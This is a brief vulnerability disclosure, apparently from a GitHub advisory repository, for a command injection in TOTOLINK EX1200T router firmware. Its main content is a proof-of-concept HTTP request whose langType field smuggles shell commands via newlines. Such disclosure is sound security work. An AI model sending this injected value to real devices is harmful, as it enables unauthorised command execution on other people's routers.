Headline
CVE-2021-42888: vuln/totolink_ex1200t_langtype_rce.md at main · p1Kk/vuln
TOTOLINK EX1200T V4.1.2cu.5215 contains a remote command injection vulnerability in function setLanguageCfg of the file global.so which can control langType to attack.
There is a remote command injection in the function setLanguageCfg of the file global.so , we can control thelangType to attack.
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.1
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-TW;q=0.8
If-Modified-Since: Thu, 01 Jan 1970 00:00:03 GMT
Connection: close
Content-Length: 68
{"topicurl":"setting/setLanguageCfg",
"langFlag":"1",
"langType":"\nps>/web_cste/test1\necho"}